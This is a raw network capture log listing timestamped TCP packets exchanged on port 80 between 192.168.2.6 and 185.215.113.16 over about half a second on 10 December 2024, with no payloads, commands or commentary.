Dec 10, 2024 02:50:28.793085098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.793117046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.794117928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.794230938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.794265985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.795222998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.795409918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.795439959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.796339035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.796468973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.796513081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.797471046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.797586918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.797631025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.798604012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.798729897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.798773050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.799719095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.799823046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.799865961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.800839901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.800956011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.800992966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.801964998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.802160978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.802207947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.803107977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.803210020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.803247929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.804219961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.804368019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.804414988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.805334091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.805463076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.805502892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.806462049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.806570053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.806612015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.807593107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.807755947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.807806015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.808209896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.808733940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.808860064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.808893919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.809843063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.809947014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.809983969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.810939074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.816395044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.944061041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.944072008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.944118977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.944288969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.944427967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.944467068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.945444107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.945569992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.945605993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.946548939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.946660995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.946707010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.947694063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.947796106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.947834015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.948802948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.948911905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.948956966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.949934006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.950026989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.950061083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.951067924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.951178074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.951219082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.952192068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.952311039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.952356100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.953298092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.953417063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.953453064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.954442978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.954540968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.954575062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.955550909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.955653906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.955691099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.956681013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.956825972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.956868887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.957803965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.957916021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.957952023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.958916903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.959013939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.959054947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.960050106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.960148096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.960186005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.961164951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.961276054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.961316109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.962280035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.962397099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.962440014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.963426113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.963547945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.963588953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.964561939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.964662075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.964709044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.965655088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.965768099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.965811968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.966790915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.966933012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.966973066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.967907906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.968009949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.968077898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.969038010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.969157934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.969191074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.970153093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.970253944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.970287085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.971326113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.971468925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.971510887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.972419977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.972585917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.972625017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.973550081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.973671913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.973706007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.974666119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.974747896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.974786043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.975790977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.975894928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.975939989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.976897001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.977029085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.977103949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.978041887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.978173971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.978207111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.979161978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.979265928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.979300976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.980279922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.980393887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.980436087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.981426001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.981520891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.981556892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.982548952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.982672930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.982718945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.983661890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.983781099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.983825922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.984798908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.984891891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.984931946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.985902071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.986001968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.986043930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.987030029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.987133026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.987174988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.988157988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.988274097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.988306999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.989289999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.989392042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.989435911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.990408897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.990547895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.990602016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.991575003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.991710901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.991777897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.992661953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.992791891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.992832899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.993551970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.993793011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.993900061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.993937016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.994939089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.995043039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.995078087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.996026993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.996141911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.996185064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.997217894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.997390985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.997437000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.998318911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.998512030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.998552084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.999422073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.999536037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.999577999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.000540018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.000643969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.000684977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.001655102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.001755953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.001808882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.002767086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.003082037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.138621092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.138823986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.138874054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.139116049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.139344931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.139379978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.140296936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.140413046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.140448093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.141346931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.141478062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.141520023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.142533064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.142668962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.142709970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.143656969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.143762112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.143810034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.144767046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.144889116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.144925117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.145889997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.145994902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.146034956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.147003889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.147126913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.147178888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.148118019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.148236990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.148281097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.149262905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.149394989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.149439096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.150393009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.150492907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.150531054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.151510000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.151621103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.151668072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.152604103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.152713060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.152756929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.153764009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.153846025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.154465914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.154870033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.154966116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.155015945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.155978918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.156131983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.156193972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.157143116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.157203913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.157331944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.158222914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.158335924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.158411026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.159364939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.159482956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.159522057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.160470009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.160633087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.160736084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.161608934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.161848068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.162157059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.162755013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.162884951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.162944078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.163927078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.164040089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.164218903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.164964914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.165100098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.165168047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.166095972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.166219950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.166315079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.167227030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.167345047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.167387962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.168354988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.168483973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.168545961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.169503927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.169550896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.169723988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.170584917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.170691013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.170756102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.171714067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.171833992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.171888113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.172848940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.172982931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.173032045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.173964977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.174089909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.174146891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.175091028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.175204039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.175244093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.176202059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.176316023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.176439047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.177354097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.177457094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.177501917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.178481102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.178605080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.178666115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.179600954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.179698944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.179734945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.180702925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.180811882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.180857897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.181845903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.181941986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.182013035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.182981968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.183103085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.183146000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.184096098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.184211969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.184254885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.185219049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.185326099 CET	80	49752	185.215.113.16	192.168.2.6
